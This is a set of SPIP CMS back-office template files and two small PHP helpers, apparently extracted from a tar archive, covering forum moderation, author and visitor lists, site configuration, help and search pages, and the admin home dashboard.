#SET{self,#SELF|parametre_url{id_forum|email_auteur|ip|id_auteur|auteur|debut_id_forum|statut,''}}
<div class='onglets_simple clearfix'>
	<ul>
		<li>[(#GET{self}|parametre_url{type_message,public}|lien_ou_expose{<:forum:onglet_messages_publics:>,#GET{type_message}|=={public},ajax})]</li>
		[(#AUTORISER{moderer,foruminterne}|oui)
		<li>[(#GET{self}|parametre_url{type_message,interne}|lien_ou_expose{<:forum:onglet_messages_internes:>,#GET{type_message}|=={interne},ajax})]</li>
		]
		<li>[(#GET{self}|parametre_url{type_message,vide}|lien_ou_expose{<:forum:onglet_messages_vide:>,#GET{type_message}|=={vide},ajax})]</li>
	</ul>
</div>


	[(#REM) Les boutons pour tout le lot de message d'un emetteur ---------------------------------------------------------]
	[(#ENV{id_forum}|oui)
	<a class='annule_filtre ajax' href='#GET{self}' title="<:forum:tout_voir|attribut_html:>">[(#CHEMIN_IMAGE{fermer-16.png}|balise_img|inserer_attribut{alt,<:forum:tout_voir:>})]</a>
	]
	[(#ENV{ip}|ou{#ENV{email_auteur}}|ou{#ENV{auteur}}|ou{#ENV{id_auteur}})
	#BOITE_OUVRIR{'','note'}
		<div class='par'><:par_auteur:>
			<a class='annule_filtre ajax' href='#GET{self}' title="<:forum:tout_voir|attribut_html:>">[(#CHEMIN_IMAGE{fermer-16.png}|balise_img|inserer_attribut{alt,<:forum:tout_voir:>})]</a>

		[
		(#ENV{id_auteur,''}|oui)<a href='#URL_ECRIRE{auteur,id_auteur=#ENV{id_auteur}}'>#MODELE{auteur_nom,id_auteur=#ENV{id_auteur}}</a>
		][(#ENV{id_auteur,''}|?{'',#ENV{auteur,''}})
		][<a href='mailto:#ENV{email_auteur}'>(#ENV{email_auteur,''})</a>][IP (#ENV{ip,''})]
		</div>
		#SET{selection,#ENV{ip}|concat{'/',#ENV{email_auteur},'/',#ENV{id_auteur},'/',#ENV{auteur}}}
		[(#ENV{type_message,public}|=={public}|et{#AUTORISER{instituer,forum,0}}|et{#ENV{recherche,''}|non}|et{#ENV{id_article,''}|non})
		<p class='actions'>
		 &#91;<a class='ajax valider' href='#URL_ACTION_AUTEUR{instituer_lot_forum,publie-#GET{selection},#SELF}'><:forum:icone_valider_messages:></a>&#93;
		 &#91;<a class='bruler' href='#URL_ACTION_AUTEUR{instituer_lot_forum,spam-#GET{selection},#SELF}'><:forum:icone_bruler_messages:></a>&#93;
		 &#91;<a class='ajax supprimer' href='#URL_ACTION_AUTEUR{instituer_lot_forum,off-#GET{selection},#SELF}'><:forum:icone_supprimer_messages:></a>&#93;
		</p>
		]
	#BOITE_FERMER
	]
	
	[(#INCLURE{fond=prive/squelettes/inclure/boutons-filtres-statut-forum, env})]
	#FORMULAIRE_RECHERCHE_ECRIRE{#GET{self},ajax}
	[<h2><:resultats_recherche:> &#171;&nbsp;(#ENV{recherche})&nbsp;&#187;</h2>]

<B_forums>
	<h3>[(#GRAND_TOTAL|singulier_ou_pluriel{forum:info_1_message_forum,forum:info_nb_messages_forum}|sinon{<:forum:aucun_message_forum:>})]</h3>
	<div class="clear"></div>

	[<p class='pagination'>(#PAGINATION{prive})</p>]
	<ul class='liste-items forums'>
		<BOUCLE_forums(FORUMS){id_forum?}{id_objet?}{id_secteur?}{objet?}{id_auteur?}{auteur?}{email_auteur?}{ip?}{!par id_forum}{pagination #ENV{nb,10}}{statut?}{statut LIKE #GET{prive}}{statut !LIKE #GET{public}}{texte LIKE #GET{vide}}{recherche?}>
			<li class="item forum[ (#EXPOSE)] statut_#STATUT[ (#COMPTEUR_BOUCLE|alterner{'','odd'})]" id='forum#ID_FORUM' data-id='#ID_FORUM'
							onclick="jQuery(this).toggleClass('hover');">
			[(#INCLURE{fond=prive/modeles/forum, id_forum, self})]
			</li>
		</BOUCLE_forums>
	</ul>
	[<p class='pagination'>(#PAGINATION{prive})</p>]
</B_forums>

	<h3><:forum:aucun_message_forum:></h3>

<//B_forums>inclure/discuter_forum.html000066600000000650152526115430012136 0ustar00[(#ENV{repondre}|oui)
[(#INCLURE{fond=prive/repondre_forum, env})]
][(#ENV{repondre}|non)
	[(#AUTORISER{participerforumprive,#ENV{objet},#ENV{id_objet}}|oui)
		[(#SELF|parametre_url{repondre,new}|icone{<:forum:icone_poster_message:>,#STATUT|=={privadm}|?{forum-interne-24.png,forum-interne-24.png},#LANG_RIGHT,'',ajax})
		<div class='clear'></div>
		]
	]
	[(#INCLURE{fond=prive/objets/liste/participer_forum_thread, env})]
]inclure/boutons-filtres-statut-forum.html000066600000004613152526115430014716 0ustar00#SET{self,#SELF|parametre_url{debut_forum,''}}
#SET{prive,#ENV{type_message,public}|=={interne}|?{'priv%','%'}}
#SET{public,#ENV{type_message,public}|=={public}|?{'priv%',''}}
#SET{vide,#ENV{type_message,public}|=={vide}|?{'','%'}}

<div class='onglets_simple second clearfix'>
<ul class="statut statut_forum">
<li>[(#GET{self}|parametre_url{statut,''}|lien_ou_expose{<:forum:messages_tous:>,#ENV{statut,''}|=={''},ajax})]</li>

#SET{statut,#ENV{type_message,public}|=={interne}|?{'prive','publie'}}
<BOUCLE_cpt_1(FORUMS){id_forum?}{id_auteur?}{id_objet?}{objet?}{id_secteur?}{auteur?}{email_auteur?}{ip?}{statut=#GET{statut}}{statut !LIKE #GET{public}}{texte LIKE #GET{vide}}{recherche?} />
[(#TOTAL_BOUCLE|oui) <li class='#GET{statut}'>[(#GET{self}|parametre_url{statut,#GET{statut}}|lien_ou_expose{#VAL{forum:messages_#GET{statut}}|_T|concat{' (',#TOTAL_BOUCLE,')'},#ENV{statut,''}|=={#GET{statut}},'ajax'})]</li>]<//B_cpt_1>

#SET{statut,#ENV{type_message,public}|=={interne}|?{'privrac','prop'}}
<BOUCLE_cpt_2(FORUMS){id_forum?}{id_auteur?}{id_objet?}{objet?}{id_secteur?}{auteur?}{email_auteur?}{ip?}{statut=#GET{statut}}{statut !LIKE #GET{public}}{texte LIKE #GET{vide}}{recherche?} />
[(#TOTAL_BOUCLE|oui) <li class='#GET{statut}'>[(#GET{self}|parametre_url{statut,#GET{statut}}|lien_ou_expose{#VAL{forum:messages_#GET{statut}}|_T|concat{' (',#TOTAL_BOUCLE,')'},#ENV{statut,''}|=={#GET{statut}},'ajax'})]</li>]<//B_cpt_2>

#SET{statut,#ENV{type_message,public}|=={interne}|?{'privadm','spam'}}
<BOUCLE_cpt_3(FORUMS){id_forum?}{id_auteur?}{id_objet?}{objet?}{id_secteur?}{auteur?}{email_auteur?}{ip?}{statut=#GET{statut}}{statut !LIKE #GET{public}}{texte LIKE #GET{vide}}{recherche?} />
[(#TOTAL_BOUCLE|oui) <li class='#GET{statut}'>[(#GET{self}|parametre_url{statut,#GET{statut}}|lien_ou_expose{#VAL{forum:messages_#GET{statut}}|_T|concat{' (',#TOTAL_BOUCLE,')'},#ENV{statut,''}|=={#GET{statut}},'ajax'})]</li>]<//B_cpt_3>

#SET{statut,#ENV{type_message,public}|=={interne}|?{'privoff','off'}}
<BOUCLE_cpt_4(FORUMS){id_forum?}{id_auteur?}{id_objet?}{objet?}{id_secteur?}{auteur?}{email_auteur?}{ip?}{statut=#GET{statut}}{statut !LIKE #GET{public}}{texte LIKE #GET{vide}}{recherche?} />
[(#TOTAL_BOUCLE|oui) <li class='#GET{statut}'>[(#GET{self}|parametre_url{statut,#GET{statut}}|lien_ou_expose{#VAL{forum:messages_#GET{statut}}|_T|concat{' (',#TOTAL_BOUCLE,')'},#ENV{statut,''}|=={#GET{statut}},'ajax'})]</li>]<//B_cpt_4>
</ul>
</div>top/infos_perso.html000066600000000060152526337100010566 0ustar00[(#VAL{infos_perso}|barre_onglets{infos_perso})]top/plan.html000066600000000066152526337100007200 0ustar00<h1><:plan_site:></h1>
#LARGEUR_ECRAN{pleine_largeur}
top/dist.html000066600000000014152526337100007202 0ustar00<!-- top -->top/configurer_langage.html000066600000000067152526337100012070 0ustar00[(#VAL{infos_perso}|barre_onglets{configurer_langage})]top/configurer_preferences.html000066600000000073152526337100012770 0ustar00[(#VAL{infos_perso}|barre_onglets{configurer_preferences})]top/aide.html000066600000000076152526337100007151 0ustar00<h1><:info_aide_en_ligne:></h1>
#LARGEUR_ECRAN{pleine_largeur}body.html000066600000002744152526337100006406 0ustar00[(#PIPELINE{body_prive,[(#VAL{<body class="#ENV{type-page,page}[ #ENV{type-page,page}_(#ENV{composition,''})][ statut_(#SESSION{statut})][ auteur_(#SESSION{id_auteur})] [(#REM|init_body_class)][(#ENV{type-page,page}|match{_edit$}|oui)edition]">})]})]
	<INCLURE{fond=prive/squelettes/inclure/barre-nav,lang,recherche,plugins=(#REM|parametres_css_prive)}>
	<div id="page">
		<INCLURE{fond=prive/objets/liste/auteurs_enligne}>
		[(#SESSION{id_auteur}|alertes_auteur)]
		<div class="largeur">
			<div id="haut">
				<div id="chemin">
					<INCLURE{fond=prive/squelettes/hierarchie/#ENV{type-page},ajax=hierarchie,env}>
				</div>
				[(#REM)<!--
				Ici, # INCLURE car top/xx peut affecter la globale 'pleine_largeur'
				-->]
				#INCLURE{fond=prive/squelettes/top/#ENV{type-page},ajax=top,env}
			</div>
			<div id="conteneur" class="[(#LARGEUR_ECRAN)]">
				<div id="navigation" class='lat' role='contentinfo'>
					<INCLURE{fond=prive/squelettes/navigation/#ENV{type-page},ajax=navigation,env}>
				[(#EVAL{$GLOBALS}|table_valeur{spip_ecran}|=={large}|oui)
				</div>
				<div id="extra" class='lat' role='complementary'>]
					<INCLURE{fond=prive/squelettes/extra/#ENV{type-page},ajax=extra,env}>
				</div>
				<div id="contenu" role='main'>
					<INCLURE{fond=prive/squelettes/contenu/#ENV{type-page},ajax=contenu,env}>
				</div>
			</div>
			<br class="nettoyeur" />
		</div>
		<div id="pied">
			<div class="largeur">
			<INCLURE{fond=prive/squelettes/inclure/pied}>
			</div>
		</div>
	</div>
</body>
page.html000066600000000167152526337100006362 0ustar00<INCLURE{fond=prive/squelettes/structure}{env}{type-page=#ENV{type-page,#ENV{exec}}}{composition=#ENV{composition,''}}>contenu/configurer.html000066600000000305152526337100011256 0ustar00#SET{configurer,#VAL{configurer_}|concat{#ENV{cfg}}
[(#AUTORISER{bouton,#GET{configurer}}|sinon_interdire_acces)]
<INCLURE{fond=prive/squelettes/inclure/configurer,configurer=#GET{configurer},env}>contenu/navigation_fonctions.php000066600000000125152526337100013157 0ustar00<?php

if (!defined('_ECRIRE_INC_VERSION')) return;

include_spip('inc/bandeau');

?>contenu/article_edit.html000066600000000133152526337100011542 0ustar00<INCLURE{fond=prive/echafaudage/contenu/objet_edit,objet=article,id_objet=#ID_ARTICLE,env}>contenu/configurer_avancees.html000066600000000657152526337100013135 0ustar00[(#AUTORISER{configurer,_interactions}|sinon_interdire_acces)]
<h1 class="grostitre"><:onglet_fonctions_avances:></h1>

<div class="ajax">
	#FORMULAIRE_CONFIGURER_REDUCTEUR
</div>

<div class="ajax">
	#FORMULAIRE_CONFIGURER_AVERTISSEUR
</div>

<div class="ajax">
	#FORMULAIRE_CONFIGURER_PREVISUALISEUR
</div>

<div class="ajax">
	#FORMULAIRE_CONFIGURER_RELAYEUR
</div>

<div class="ajax">
	#FORMULAIRE_CONFIGURER_MODERNISEUR
</div>contenu/configurer_langage.html000066600000000126152526337100012735 0ustar00<!-- <h1 class="grostitre"><:icone_ma_langue:></h1> -->
#FORMULAIRE_CONFIGURER_LANGAGEcontenu/visiteurs.html000066600000002347152526337100011160 0ustar00<h1 class="grostitre"><:info_visiteurs:></h1>

#SET{statuts,#VAL{visiteurs}|auteurs_lister_statuts{0}}
[(#GET{statuts}|count|non)#SET{statuts,#ARRAY{0,zzzz}}]
<B_st>
<div class="onglets_simple clearfix">
	<ul>
		<li>[(#SELF|parametre_url{statut,''}|lien_ou_expose{<:info_tout_afficher:>,[(#ENV{statut,''}|non)],ajax})]</li>
		<BOUCLE_st(POUR){tableau #GET{statuts}}{si #GET{statuts}|count|>{1}}>
		<li>[(#SELF|parametre_url{statut,#VALEUR}|lien_ou_expose{[(#VALEUR|traduire_statut_auteur)],#ENV{statut,''}|=={#VALEUR},ajax})]</li>
		</BOUCLE_st>
	</ul>
</div>
</B_st>

[(#ENV{id_auteur}|oui)
<a href="[(#SELF|parametre_url{id_auteur,''})]"><:icone_tous_visiteur:></a>
]
#FORMULAIRE_RECHERCHE_ECRIRE{#SELF,ajax}
<div class='nettoyeur'></div>

#SET{filtre,#SESSION{statut}|=={0minirezo}|?{poubelle,'prepa|poubelle|refuse'}|explode{|}}
[(#INCLURE{fond=prive/objets/liste/visiteurs,nb=30,filtre_statut_articles=#GET{filtre},statut=#ENV{statut}|in_any{#GET{statuts}}|?{#ENV{statut},#GET{statuts}},env,ajax}
|sinon{#ENV{recherche}|?{
#VAL{info_recherche_auteur_zero}|_T{#ARRAY{cherche_auteur,#ENV{recherche}}}|wrap{'<h3>'}
}})
]
[(#AUTORISER{creer,auteur})
	[(#URL_ECRIRE{auteur_edit,new=oui}|icone_verticale{<:icone_creer_nouvel_auteur:>,auteur,new,right})]
]
contenu/configurer_langue.html000066600000000333152526337100012612 0ustar00[(#AUTORISER{configurer,_langue}|sinon_interdire_acces)]
<h1 class="grostitre"><:info_langues:></h1>
<div class="ajax">
	#FORMULAIRE_CONFIGURER_LANGUE
</div>
<div class="ajax">
	#FORMULAIRE_CONFIGURER_TRANSCODEUR
</div>contenu/rubriques.html000066600000000511152526337100011133 0ustar00<h1 class="grostitre"><:info_rubriques:></h1>
<!--affiche_milieu-->
[(#PIPELINE{affiche_enfants,[(#ARRAY{args,#ARRAY{exec,rubriques},data,#INCLURE{fond=prive/objets/contenu/rubrique-enfants,id_rubrique=0,env}})]})]

#PIPELINE{afficher_complement_objet,#ARRAY{args,#ARRAY{type,rubrique,id,0},data,'<div class="nettoyeur"></div>'}}contenu/synchro.html000066600000004467152526337100010615 0ustar00<h1 class="grostitre"><:icone_suivi_activite:></h1>

[(#CONFIG{suivi_edito}|=={oui}|oui)
	[(#CONFIG{adresse_suivi}|strlen|>{3}|et{#CONFIG{adresse_suivi_inscription}|strlen|>{3}})
		[(#BOITE_OUVRIR{[(#CHEMIN_IMAGE{racine-24.png}|balise_img{'',cadre-icone})]<:ical_titre_mailing:>})]
		<p><:info_config_suivi_explication:></p>
		<p class="center"><a href='mailto:#CONFIG{adresse_suivi_inscription}'>#CONFIG{adresse_suivi_inscription}</a></p>
		#BOITE_FERMER
	]
]


[(#REM)
///
/// Suivi par agenda iCal (taches + rendez-vous)
///
]
[(#BOITE_OUVRIR{[(#CHEMIN_IMAGE{agenda-24.png}|balise_img{'',cadre-icone})]<:icone_calendrier:>})]
	<p><:calendrier_synchro:></p>
	<p><:ical_info_calendrier:></p>

	#BOITE_OUVRIR{'',raccourcis}
		<p><:ical_texte_public:></p>
		[(#URL_PAGE{ical}|url_absolue|icone_horizontale{<:ical_methode_http:>,agenda-24.png})]
		[(#URL_PAGE{ical}|url_absolue|replace{'https?:\/\/','webcal://'}|icone_horizontale{<:ical_methode_webcal:>,agenda-24.png})]
	#BOITE_FERMER

	[(#BOITE_OUVRIR{[(#CHEMIN_IMAGE{cadenas-24.png}|balise_img{'',cadre-icone})],raccourcis})]
		<p><:ical_texte_prive:></p>
		#SET{url,#URL_PAGE{ical_prive,id_auteur=#SESSION{id_auteur}}|parametre_url{arg,#SESSION{id_auteur}|afficher_low_sec{ical}}}
		[(#GET{url}|url_absolue|icone_horizontale{<:ical_methode_http:>,agenda-24.png})]
		[(#GET{url}|url_absolue|replace{'https?:\/\/','webcal://'}|icone_horizontale{<:ical_methode_webcal:>,agenda-24.png})]
	#BOITE_FERMER

#BOITE_FERMER

[(#REM)
///
/// Suivi par RSS
///
]
[(#BOITE_OUVRIR{[(#CHEMIN_IMAGE{synchro-24.png}|balise_img{'',cadre-icone})]<:ical_titre_rss:>})]
	<p><:ical_texte_rss:></p>
	<p><:ical_texte_rss_articles:></p>
	<pre>[(#URL_PAGE{backend}|url_absolue)]</pre>

	<p><:ical_texte_rss_articles2:></p>
	<B_secteurs>
		<ul class="liste-items">
		<BOUCLE_secteurs(RUBRIQUES){racine}>
			<li class="item"><a
							href="#URL_PAGE{backend,id_rubrique=#ID_RUBRIQUE}"
							title="[(#TITRE|attribut_html)]">[(#CHEMIN_IMAGE{rss-16.png}|balise_img{RSS})] #TITRE</a></li>
		</BOUCLE_secteurs>
		</ul>
	</B_secteurs>
#BOITE_FERMER


[(#REM)
///
/// Suivi par Javascript
///
]
[(#BOITE_OUVRIR{[(#CHEMIN_IMAGE{document-24.png}|balise_img{'',cadre-icone})]<:ical_titre_js:>})]
	<p><:ical_texte_js:></p>
	<pre>
&lt;script
	type="text/javascript"
	src="[(#URL_PAGE{distrib}|url_absolue)]">
&lt;/script>
	</pre>
#BOITE_FERMERcontenu/auteurs.html000066600000002247152526337100010612 0ustar00<h1 class="grostitre"><:info_auteurs:></h1>

#SET{statuts,#VAL{redacteurs}|auteurs_lister_statuts}
<B_st>
<div class="onglets_simple clearfix">
	<ul>
		<li>[(#SELF|parametre_url{statut,''}|lien_ou_expose{<:info_tout_afficher:>,[(#ENV{statut,''}|non)],ajax})]</li>
		<BOUCLE_st(POUR){tableau #GET{statuts}}{si #GET{statuts}|count|>{1}}>
		<li>[(#SELF|parametre_url{statut,#VALEUR}|lien_ou_expose{[(#VALEUR|traduire_statut_auteur)],#ENV{statut,''}|=={#VALEUR},ajax})]</li>
		</BOUCLE_st>
	</ul>
</div>
</B_st>

[(#ENV{id_auteur}|oui)
<a href="[(#SELF|parametre_url{id_auteur,''})]"><:icone_tous_auteur:></a>
]
#FORMULAIRE_RECHERCHE_ECRIRE{#SELF,ajax}
<div class='nettoyeur'></div>

#SET{filtre,#SESSION{statut}|=={0minirezo}|?{poubelle,'prepa|poubelle|refuse'}|explode{|}}
[(#INCLURE{fond=prive/objets/liste/auteurs,nb=30,filtre_statut_articles=#GET{filtre},statut=#ENV{statut}|in_any{#GET{statuts}}|?{#ENV{statut},#GET{statuts}},env,ajax}
|sinon{#ENV{recherche}|?{
#VAL{info_recherche_auteur_zero}|_T{#ARRAY{cherche_auteur,#ENV{recherche}}}|wrap{'<h3>'}
}})
]
[(#AUTORISER{creer,auteur})
	[(#URL_ECRIRE{auteur_edit,new=oui}|icone_verticale{<:icone_creer_nouvel_auteur:>,auteur,new,right})]
]
contenu/auteur_edit.html000066600000002051152526337100011425 0ustar00[(#ID_AUTEUR|intval|oui)
	[(#AUTORISER{modifier,auteur,#ID_AUTEUR}|sinon_interdire_acces)]
][(#ID_AUTEUR|intval|non)
	[(#AUTORISER{creer,auteur}|sinon_interdire_acces)]
]
#SET{retour,#ENV{redirect}|sinon{#ID_AUTEUR|intval|?{#URL_ECRIRE{auteur,id_auteur=#ID_AUTEUR},#URL_ECRIRE{auteurs}}}}

<div class='cadre-formulaire-editer'>
	<div class="entete-formulaire">
		[(#ID_AUTEUR|oui)
		[(#GET{retour}|icone_verticale{<:icone_retour:>,auteur,'',left retour[(#ENV{retourajax,''}|oui)ajax preload]})]
		]
		[[(#ID_AUTEUR|?{<:info_modifier_auteur:>,<:titre_ajouter_un_auteur:>})]
		<h1>(#ENV*{titre,#INFO_NOM{auteur,#ID_AUTEUR}|sinon{<:info_sans_titre:>}})</h1>]
	</div>

	#SET{redirect,#ENV{redirect,#ID_AUTEUR|generer_url_entite{auteur}}}
	[(#ENV{retourajax,''}|oui)
		#SET{redirect,#GET{retour}}
		<div class="ajax">
	]
	#FORMULAIRE_EDITER_AUTEUR{#ENV{id_auteur,oui},#GET{redirect},#ENV{associer_objet}}
	[(#ENV{retourajax,''}|oui)
		</div>
		<script type="text/javascript">/*<!\[CDATA\[*/reloadExecPage('#ENV{exec}','#navigation,#extra');/*\]\]>*/</script>
	]

</div>
contenu/infos_perso.html000066600000000327152526337100011445 0ustar00<!-- <h1 class="grostitre"><:icone_mes_infos:></h1> -->
<INCLURE{fond=prive/squelettes/contenu/auteur,id_auteur=#SESSION{id_auteur},exec=#ENV{exec}|replace{infos_perso,auteur},redirect=#URL_ECRIRE{infos_perso},env}>contenu/rubrique_edit.html000066600000000135152526337100011757 0ustar00<INCLURE{fond=prive/echafaudage/contenu/objet_edit,objet=rubrique,id_objet=#ID_RUBRIQUE,env}>contenu/admin_vider.html000066600000000501152526337100011372 0ustar00[(#AUTORISER{configurer,_admin_vider}|sinon_interdire_acces)]

<h1 class="grostitre"><:texte_vider_cache:></h1>

<p><:texte_suppression_fichiers:></p>
<p><:texte_recalcul_page:></p>

<INCLURE{fond=prive/squelettes/inclure/admin_vider_cache,ajax,env}>

<INCLURE{fond=prive/squelettes/inclure/admin_vider_images,ajax,env}>
contenu/configurer_multilinguisme.html000066600000000255152526337100014411 0ustar00[(#AUTORISER{configurer,_multilinguisme}|sinon_interdire_acces)]
<h1 class="grostitre"><:info_langues:></h1>
<div class="ajax">
	#FORMULAIRE_CONFIGURER_MULTILINGUISME
</div>contenu/configurer_identite.html000066600000000376152526337100013153 0ustar00<h1 class="grostitre"><:titre_identite_site:></h1>
[(#AUTORISER{configurer,_identite}|sinon_interdire_acces)]
<div class='ajax'>
#FORMULAIRE_CONFIGURER_IDENTITE
</div>
<div class="ajax">
#FORMULAIRE_EDITER_LOGO{site,0,'',#ARRAY{image_reduire,395}}
</div>contenu/aide_fonctions.php000066600000005612152526337100011730 0ustar00<?php

if (!defined('_ECRIRE_INC_VERSION')) return;

function aide_changer_langue($var_lang_r, $lang_r) {
	if ($var_lang_r)
		changer_langue($lang = $var_lang_r);
	if ($lang_r)
	  # pour le cas ou on a fait appel au menu de changement de langue
	  # (aide absente dans la langue x)
		changer_langue($lang = $lang_r);
	else $lang = $GLOBALS['spip_lang'];

	return $lang;
}

function aide_contenu(){
	static $contenu = null;
	if ($contenu) return $contenu;

	global $help_server;
	if (!is_array($help_server)) $help_server = array($help_server);
	$path = $GLOBALS['spip_lang'] . "-aide.html";

	include_spip('inc/aider');
	list($contenu, $lastm) = aide_fichier($path, $help_server);

	if (strpos($contenu,"aide_index")!==false){
		$contenu = preg_replace(",target=['\"][^'\"]*['\"],Uims","class='ajax'",$contenu);
		$contenu = str_replace("aide_index","aide",$contenu);
	}
	return $contenu;
}

function aide_extrait_section($aide){
	return aide_section($aide,aide_contenu());
}
/*
function aide_cache_image($help_server, $cache, $rep, $lang, $file, $ext) {
	if ($rep=="IMG" AND $lang=="cache"
	  AND @file_exists($img = _DIR_VAR.'cache-TeX/'.preg_replace(',^TeX-,', '', $file))) {
		return $img;
	}
	else if (@file_exists($img = _DIR_AIDE . $cache)) {
		return $img;
	}
	else if (@file_exists($img = _DIR_RACINE . 'AIDE/aide-'.$cache)) {
		return $img;
	}
	else {
		include_spip('inc/distant');
		sous_repertoire(_DIR_AIDE,'','',true);
		$img = "$help_server/$rep/$lang/$file";
		recuperer_page($img,$f=_DIR_AIDE . $cache);
		return $f;
	}
}
*/

// Affichage du menu de gauche avec analyse de la section demandee
// afin d'ouvrir le sous-menu correspondant a l'affichage a droite
// http://doc.spip.org/@help_menu_rubrique
function aide_menu($aide) {
	$contenu = aide_contenu();
	preg_match_all(_SECTIONS_AIDE, $contenu, $sections, PREG_SET_ORDER);

	return $sections;

	global $spip_lang;

	$afficher = false;
	$ligne = $numrub = 0;
	$texte = $res = '';
	foreach ($sections as $section) {
		list(,$prof, $sujet, $bloc) = $section;
		if ($prof == '1') {
			if ($afficher && $texte)
				$res .= block_parfois_visible("block$numrub", "<div class='rubrique'>$titre</div>", "\n$texte",'', $ouvrir);
			$afficher = $bloc ? ($bloc == 'redac') : true;
			$texte = '';
			if ($afficher) {
				$numrub++;
				$ouvrir = 0;
				$titre = $sujet;
			}
		} else {
			++$ligne;
			$id = "ligne$ligne";

			if ($aide == $sujet) {
				$ouvrir = 1;
				$class = "article-actif";
				$texte .= http_script("curr_article = '$id';");
			} else $class = "article-inactif";

			$h = generer_url_aide("aide=$sujet&frame=body&var_lang=$spip_lang");
			$texte .= "<a class='$class' target='droite' id='$id' href='$h' onclick=\"activer_article('$id');return true;\">"
			  . $bloc
			  . "</a><br style='clear:both;' />\n";
		}
	}
	if ($afficher && $texte)
		$res .= block_parfois_visible("block$numrub", "<div class='rubrique'>$titre</div>", "\n$texte",'', $ouvrir);
	return $res;
}contenu/aide.html000066600000003402152526337100010016 0ustar00<div style="float:left;width:200px;">
	#SET{close,''}
	#SET{prev,''}
	#SET{next,''}
	<ul>
	<BOUCLE_menu(DATA){source tableau,#ENV{aide}|aide_menu}>
		[(#VALEUR{1}|=={1}|oui)
		#GET**{close}
		<div class='liste'><h3>[(#VALEUR{2})]</h3>
			<ul class="liste-items">
			#SET{close,'</ul></div>'}
		][(#VALEUR{1}|=={2}|oui)
			[(#GET{next}|=={next}|oui)#SET{next,#VALEUR}]
			<li class="item[(#VALEUR{2}|=={#ENV{aide}}|oui)on#SET{next,next}]"><a
							onclick="jQuery(this).closest('#cboxLoadedContent').scrollTop(0);"
							href='[(#SELF|parametre_url{aide,#VALEUR{2}})]#contenu-aide' class="ajax">[(#VALEUR{3})]</a></li>
			[(#GET{next}|non)#SET{prev,#VALEUR}]
		]
	</BOUCLE_menu>
		#GET**{close}
	</ul>
</div>
[(#GET{next}|non)#SET{prev,''}]
<div class="contenu-aide" id="contenu-aide" lang="[(#EVAL{_request('var_lang_r')}|aide_changer_langue{#ENV{lang_r}})]" style="position:relative;margin-left:220px;">
	[(#ENV{aide}|aide_extrait_section|image_reduire{500}|sinon{
		[<div style='text-align:center;'>
			(#CHEMIN_IMAGE{logo-spip.gif}|balise_img{SPIP})
			<div style='font-variant: small-caps;'>
			Syst&egrave;me de publication pour l'Internet
			</div>
		</div>
		<p>
		#SET{doc,#EVAL{$GLOBALS}|table_valeur{home_server}|concat{/,#EVAL{$GLOBALS}|table_valeur{spip_lang}}}
		<:info_copyright_doc{spipnet=#GET{doc},spipnet_affiche=#GET{doc}}:>
		</p>]
	})]
	<p>
		[<a onclick="jQuery(this).closest('#cboxLoadedContent').scrollTop(0);"
				href="[(#SELF|parametre_url{aide,#GET{prev}|table_valeur{2}})]#contenu-aide" class="ajax">&lt; (#GET{prev}|table_valeur{3})</a> | ]
		[<a onclick="jQuery(this).closest('#cboxLoadedContent').scrollTop(0);"
				href="[(#SELF|parametre_url{aide,#GET{next}|table_valeur{2}})]#contenu-aide" class="ajax">(#GET{next}|table_valeur{3}) &gt;</a>]
	</p>
</div>


contenu/recherche.html000066600000002531152526337100011046 0ustar00[<h1 class="grostitre"><:info_resultat_recherche:> &laquo;(#ENV{recherche})&raquo;</h1>]
[(#ENV{recherche}|non)<h1 class="grostitre"><:info_rechercher:></h1>]
#FORMULAIRE_RECHERCHE_ECRIRE{#SELF,ajax}
<div class="nettoyeur"></div>

<BOUCLE_num(CONDITION){si #ENV{recherche}|is_numeric}>
	<BOUCLE_tablesid(POUR){tableau #REM|liste_des_champs}
		{cle!=breve}{cle!=forum}{cle!=syndic_article}
		{si #ENV{recherche}}>[
		(#SET{table,#CLE|table_objet})][
		(#SET{statut,[(#CLE|=={article}|?{[(#SESSION{statut}|statuts_articles_visibles)],''})]})
		][(#GET{table}|trouver_fond{prive/objets/liste/}
			|?{#GET{table}|inclure_liste_recherche_par_id{#ENV{recherche},#GET{statut},#ENV**}})
	]</BOUCLE_tablesid>
	[(#VAL{info_recherche_auteur_zero}|_T{#ARRAY{cherche_auteur,#ENV{recherche}}}|wrap{'<h3>'})]
	<//B_tablesid>
</BOUCLE_num>
<BOUCLE_tables(POUR){tableau #REM|liste_des_champs}
	{cle!=breve}{cle!=forum}{cle!=syndic_article}
	{si #ENV{recherche}}>[
	(#SET{table,#CLE|table_objet})][
	(#SET{statut,[(#CLE|=={article}|?{[(#SESSION{statut}|statuts_articles_visibles)],''})]})
	][(#GET{table}|trouver_fond{prive/objets/liste/}
		|?{#INCLURE{fond=prive/objets/liste/#GET{table},env,recherche=#ENV{recherche},statut=#GET{statut},par=points}})
]</BOUCLE_tables>
[(#VAL{info_recherche_auteur_zero}|_T{#ARRAY{cherche_auteur,#ENV{recherche}}}|wrap{'<h3>'})]
<//B_tables>
<//B_num>
contenu/accueil.html000066600000002474152526337100010531 0ustar00<h1 class="none"><:icone_accueil:></h1>
#SET{recentwhere,''}
<BOUCLE_haspostdate(ARTICLES){statut=publie}{0,1}>
[(#CONFIG{post_dates}|=={non}|et{#SESSION{statut}|=={0minirezo}|oui})
	[(#SET{recentwhere,[NOT ((#VAL{date}|quete_condition_postdates))]})]
	<INCLURE{fond=prive/objets/liste/articles,titre=<:info_article_a_paraitre:>,statut=publie,par=date,date_sens=1,nb=5,where=#GET{recentwhere},env,ajax} />
	[(#SET{recentwhere,[(#VAL{date}|quete_condition_postdates)]})]
]
</BOUCLE_haspostdate>

[(#REM)

	Les articles recents

]
<INCLURE{fond=prive/objets/liste/articles,titre=<:articles_recents:>,statut=publie,par=date,where=#GET{recentwhere},nb=5,env,ajax} />


[(#REM)

	Vos articles en cours

]
[(#SET{titre,#URL_ECRIRE{articles,id_auteur=#SESSION{id_auteur}}|afficher_plus_info|concat{<:info_en_cours_validation:>}})]
<INCLURE{fond=prive/objets/liste/articles,titre=#GET{titre},statut=prepa,id_auteur=#SESSION{id_auteur},par=date,env,ajax} />

[(#REM)

	En cours de validation

][
	[(#BOITE_OUVRIR{<:texte_en_cours_validation:>,'basic highlight'})]
	(#PIPELINE{accueil_encours,#INCLURE{fond=prive/objets/liste/articles,titre=<:info_articles_proposes:>,statut=prop,id_rubrique,par=date,ajax,env}})

	[(#VAL{a_suivre}|bouton_spip_rss)]

	#BOITE_FERMER
]


[(#REM|afficher_enfant_rub|image_reduire{245,0})
<div class='nettoyeur'></div>
